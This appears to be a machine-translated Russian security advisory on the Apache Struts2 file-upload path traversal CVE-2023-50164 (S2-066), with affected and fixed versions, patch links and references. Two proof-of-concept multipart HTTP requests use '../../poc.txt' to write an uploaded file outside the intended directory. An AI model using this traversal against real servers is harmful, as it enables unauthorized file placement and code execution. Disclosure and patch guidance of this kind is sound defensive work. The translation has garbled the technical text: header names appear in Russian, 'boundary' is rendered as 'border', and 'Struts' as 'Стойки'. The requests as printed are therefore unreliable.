Описание уязвимости:
Апач Струтс2Это архитектура веб-приложений с открытым исходным кодом для разработки веб-приложений Java EE. Он использует и расширяет API сервлетов Java и поощряет разработчиков использовать архитектуру MVC. Apache выпустил предупреждение безопасности о том, что в платформе веб-приложений с открытым исходным кодом Struts 2 имеется серьезная ошибка безопасности, которая может привести кудаленное выполнение кода. Номер уязвимостиCVE-2023-50164, коренящийся в дефектном"Логика загрузки файлов», что может привести к несанкционированномуобход пути, а также загружать вредоносные файлы и добиваться выполнения произвольного кода при их использовании.
Влияние уязвимости:
2.5.0 <= Стойки <= 2.5.32
6.0.0 <= Стойки <= 6.3.0
Доказательство уязвимости:
POC один:
——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: данные формы; name="Upload"; filename="poc.txt"
Тип контента: текстовый/обычный
тест
——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: данные формы; name="uploadFileName";
../../poc.txt
——WebKitFormBoundary5WJ61X4PRwyYKlip–
POC два:
POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1
Хост: локальный хост: 8080
Accept-Language: en-US,en;q=0.9
Пользовательский агент: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Тип контента: multipart/form-data; border=—-WebKitFormBoundary5WJ61X4PRwyYKlip
Управление кэшем: максимальный возраст = 0
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; д=0,7
Длина контента: 593
——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: данные формы; name="Upload"; filename="poc.txt"
Тип контента: текстовый/обычный
тест
——WebKitFormBoundary5WJ61X4PRwyYKlip–
Исправление ошибок:
Доступна официальная обновляемая версия. Пользователям рекомендуется как можно скорее обновиться до безопасной версии:
Стойки >= 2.5.33
Стойки >= 6.3.0.2
Патч: https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7.
Ссылаться на:
https://cwiki.apache.org/confluence/display/WW/S2-066
https://github.com/apache/struts/compare/STRUTS_6_3_0…STRUTS_6_3_0_2#files_bucket
https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Стратс2-Анализ загрузки файлов-S2-066/
Оригинальная статья написана Chief Security Officer, при воспроизведении просьба указывать: https://cncso.com/ru/обнаружена-новая-критическая-уязвим.